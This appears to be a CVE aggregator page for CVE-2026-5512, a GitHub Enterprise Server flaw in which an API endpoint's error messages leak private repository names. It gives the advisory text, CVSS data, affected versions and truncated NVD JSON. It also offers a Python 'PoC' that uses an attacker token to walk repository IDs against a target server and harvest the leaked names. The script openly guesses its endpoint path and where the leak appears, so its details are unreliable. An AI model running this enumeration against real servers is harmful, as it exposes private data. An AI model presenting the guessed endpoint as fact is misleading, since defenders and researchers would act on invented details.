Security Vulnerability Report
中文
CVE-2026-5512 CVSS 4.3 MEDIUM

CVE-2026-5512

Published: 2026-04-21 23:16:22
Last Modified: 2026-04-29 12:35:08

Description

An improper authorization vulnerability was identified in GitHub Enterprise Server that allowed an authenticated attacker to determine the names of private repositories by their numeric ID. The mobile upload policy API endpoint did not perform an early authorization check, and validation error messages included the full repository name for repositories the caller did not have access to. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.1, 3.19.5, 3.18.8, 3.17.14, 3.16.17, 3.15.21, and 3.14.26. This vulnerability was reported via the GitHub Bug Bounty program.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
GitHub Enterprise Server < 3.14.26
GitHub Enterprise Server < 3.15.21
GitHub Enterprise Server < 3.16.17
GitHub Enterprise Server < 3.17.14
GitHub Enterprise Server < 3.18.8
GitHub Enterprise Server < 3.19.5
GitHub Enterprise Server < 3.20.1
GitHub Enterprise Server < 3.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target GitHub Enterprise Server URL TARGET_URL = "https://your-ghe-server.com" # Attacker's authenticated token (Low privilege required) AUTH_TOKEN = "ghp_YOUR_AUTH_TOKEN" # Headers for the request headers = { "Authorization": f"token {AUTH_TOKEN}", "Accept": "application/vnd.github.v3+json" } def enumerate_private_repos(start_id, end_id): """ Exploit: Enumerate private repository names by ID. The vulnerable endpoint leaks the repo name in the error message. """ print(f"[*] Starting scan from ID {start_id} to {end_id}...") for repo_id in range(start_id, end_id + 1): # The specific vulnerable endpoint mentioned in the advisory # is related to mobile upload policies. # We simulate a request that triggers the validation error. url = f"{TARGET_URL}/api/v3/repos/{repo_id}/upload/policies" try: response = requests.get(url, headers=headers, timeout=5) # Check if response contains leaked repository name in error if response.status_code == 403 or response.status_code == 404: response_json = response.json() # The key 'message' often contains the leak in similar vulns message = response_json.get('message', '') # If the message contains a repository name pattern, print it if "repository" in message.lower() and "not found" not in message.lower(): print(f"[+] Leak found for ID {repo_id}: {message}") # Further parsing logic to extract exact name can be added here except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") if __name__ == "__main__": # Example range to scan enumerate_private_repos(1, 1000)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5512", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:22.297", "lastModified": "2026-04-29T12:35:08.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper authorization vulnerability was identified in GitHub Enterprise Server that allowed an authenticated attacker to determine the names of private repositories by their numeric ID. The mobile upload policy API endpoint did not perform an early authorization check, and validation error messages included the full repository name for repositories the caller did not have access to. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.1, 3.19.5, 3.18.8, 3.17.14, 3.16.17, 3.15.21, and 3.14.26. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.14.26", "matchCriteriaId": "72A92258-9FCC-41E0-856B-3C2A495575A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.0", "versionEndExcluding": "3.15.21", "matchCriteriaId": "3A14A459-881C-437A-88EC-D721E3005329"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.17", "matchCriteriaId": "8B7DCD9A-2CF0-4D96-AA96-ACEC662A8E1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.14", "matchCriteriaId": "CEC2ADE6-3E31-4889-9A73-B6695FE0AB52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.8", "matchCriteriaId": "9B15B12E-00A8-48E8-81DE-54506B94A2C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.5", "matchCriteriaId": "56903EAF-4579-4263-AB0F-863323E7C81A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:3.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "DCA4F97D-688E-45D2-90C0-8A11E9B531AA"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.14.26", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.15.21", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.16.17", "source": "product ... (truncated)